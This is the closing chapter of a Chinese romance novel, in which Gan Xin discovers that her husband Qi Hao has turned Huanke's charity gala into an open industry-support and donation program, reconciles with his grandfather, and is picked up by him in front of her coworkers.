直到下周三,许嘉丽发出了一声惊呼,不大的办公室都听见了她的声音,甘歆也从角落里起抬头来,许嘉丽上周随手在官网的申请,今天收到了来自寰科的确认邀请函,所有人都在欢呼,这可能是他们公司接触更多资源的绝佳机会。 公司里的同事只知道甘歆已婚已育,来自晟宇,只有许嘉丽知道,她的先生就是寰科如今的董事长。 当小姑娘投过一个“哇塞”的眼神时,甘歆却对她摇了摇头,许嘉丽的表情露出了疑惑,在电脑上敲她。 “歆总歆总,不是您给公司介绍的资源吗?” “不是,我不知情,你把网页发来我看看。” 网址很快发来了,甘歆点开后,发现这是寰科单独做的一个主题页,返回上级,才看到齐灏之前所说的,要将慈善晚宴“改一改”的方式。 少了原有的“阶层感”,拍卖藏品只保留了很小一部分,来满足老钱们沉迷纸醉金迷的习惯,更多的是,像他一贯以来的做法,吸纳、融合、互通、创新,对外、对公众开放了各个行业的扶持通道,还保留了个人和公司同等的申请机会,只要有想法,并且证明自己有一定的执行能力,就有机会受到大公司的赏识,是接受并购还是接纳投资,都可以双方协商而定。 整个网页干净简洁,几乎没有什么宣传性的语句,和过往寰科高调的作风实在不同,更像是齐灏的风格,语言精炼,也只是介绍说明。 拉到底部,还有惊喜。 寰科将统计此次行业盛会所有成交额,并以1%的比例向特定的慈善项目捐款,并在官网企业社会责任板块持续更新慈善项目动态。 空巢老人、留守儿童、偏远地区妇幼医疗、…… 甘歆觉得自己的心脏越来越满,她好像在字里行间里,看到了齐灏在阳光下的笑脸。 这个网页的尾部,除了寰科对这项专题未来计划的延展之外,还有董事长齐灏发布的一则简短的留言。 “感谢这个多元、平等、包容的时代,予以寰科与大家再次共同成长的机会。也在此特别鸣谢我生命里最重要的人,感谢她给予我灵感与勇气,并治愈我千千万万次。” 他没有提甘歆的名字,他们默认在外做一对低调的夫妻。 如果说那则被撤走的公告,是甘歆不愿再回忆的最后一片拼图,那这次齐灏的行动,是希望用一整幅画,来抚平她心里仅剩的那一点点不痛快。 甘歆拿起手机,刚想去拨齐灏的号码,就收到了好几条留言。 沈确:你家老弟不秀恩爱会被针扎是吗?让婷婷看到了,我这媳妇到底啥时候才能娶回家啊? 唐满:……齐灏怎么干点啥都带着你,这个项目里也有我的功劳,行业确实更健康了,你……有空记得把网页也发给周泽。 还有来自齐罪的、张然的恭喜,甘歆笑着看完了这些,再抬头去看公司里的同事,都沉浸在另外的喜悦里。 她还是没忘记,跟许嘉丽悄悄知会了一下保密。 她突然觉得,比起之前那种“昭告天下”的方式,这种藏在字里行间里的爱更加动人,她和齐灏,从一开始,就是抛却了身份、抛却了年龄,甚至抛却了羞耻的,最直接、最坦诚的相处。 明艳靓丽的,是他们各自对外的时刻。 互相依偎的,是他们饱含爱意的独处。 他们旗鼓相当、各自强大,不需要依附对方的任何,都能在各自的领域里,释放出独属于自我的璀璨光芒。 但他们也时时刻刻在内心感恩,若不是他踮脚,要不是她回头,两人绝无相遇相知的可能,要不是一路试探、一路坚持,也无法相守至此。 或许旁人认为,慈善晚宴的改革,是齐灏单独给甘歆的偏爱。 但甘歆明白,其实真的是齐灏在对她表达感谢。 资助的三个项目,和他们一路以来的经历交相呼应,甚至连开通中小企业报名通道,齐灏也是感恩甘歆考虑了自己身处晟宇的环境,还有对她以身作则“保持自我、追求自由”的感谢。 是谁凭说当局者迷?深爱且交付所有的爱人会明白对方的心意。 甘歆的神思好像被带到了云上,她从天空俯瞰,也看到了齐灏在身体力行对她的承诺,在他的带领下,寰科不再是远高于行业、难以企及的行业翘楚,而是真正成为了行业的领头人,也成为了行业里最坚实的托底。 她的手机响了,竟然是阳阳通过手表拨来的视频电话。 甘歆进了小会议室后,才接起来,奶声奶气的“妈妈”之后,才看到小家伙肉肉的小手扣在了一张脸上,手表离远了,齐老爷子的脸才进入了屏幕。 “哎呀阳阳,要掉下去了,扒好太爷爷,”齐赟忙活了一会儿,才对着摄像头笑说,“她可比阿灏小时候难带多了,精力旺盛,整天忙忙乎乎的。” “……麻烦您了,”甘歆对着老爷子还是有些犯怵,“要不过两天就接回来,她闹人得很,您也休息不好。” “哎,这才来几天,不急不急,”齐赟忙着打断,“阿歆,回头我们加个联系方式吧。” 她有些意外,但依旧礼貌对答 ,“……好的好的,我来加您。” 两人尴尬了一会儿,只有阳阳在那咿咿呀呀的动静,齐赟终于开口,“谢谢你,一直陪在阿灏身边。” 甘歆眼睛瞪大了,没答话。 “我是老了,容易犯糊涂,也谢谢你不计前嫌。” 老爷子破天荒坦诚道歉,甘歆有些招架不住,“没有的事,都过去了,您别多想。” 挂了电话,甘歆还觉得有些不真实,她竟然听到了老爷子亲自说抱歉,也感觉到了他确实想单纯以一个长辈身份融合这个家庭的愿望,她不抗拒、甚至非常欢迎,他是齐灏的家人,自然也是她的家人。 临近下班,今天公司里有喜事,大家打算聚聚一起吃饭,甘歆有些犹豫,她现在太想见齐灏了,一分钟都耽误不得,她有好多话想问他,也想听他说那些日日天天都会说的甜言蜜语,她的蜜罐子,从来不让她失望。 /:. 齐灏恰巧来了信息。 “老婆大人,忙完了吗,我在B2层0328车位等你。” 她终于也向同事们说出了那句话,“抱歉抱歉,我老公已经到楼下了,你们聚,下次我一定来。” 在公司里的起哄声里,她走出了办公室,也丝毫不在B2车库里避讳同事的目光,走向斜靠在车头等她的齐灏,甘歆回身对同事大方挥手说明天见。 她听见了有人说“歆总老公好帅”、“歆总老公好年轻”,还没等甘歆走到齐灏面前,就听见他也大声地回复了他们—— “谢谢!我老婆是不是也超级棒!?” 同事们齐声回复道:“是——!” 他们在一片欢声笑语中坐上了车,两颗心满满的,驶向他们幸福的家,与美满的未来。 (正文完结)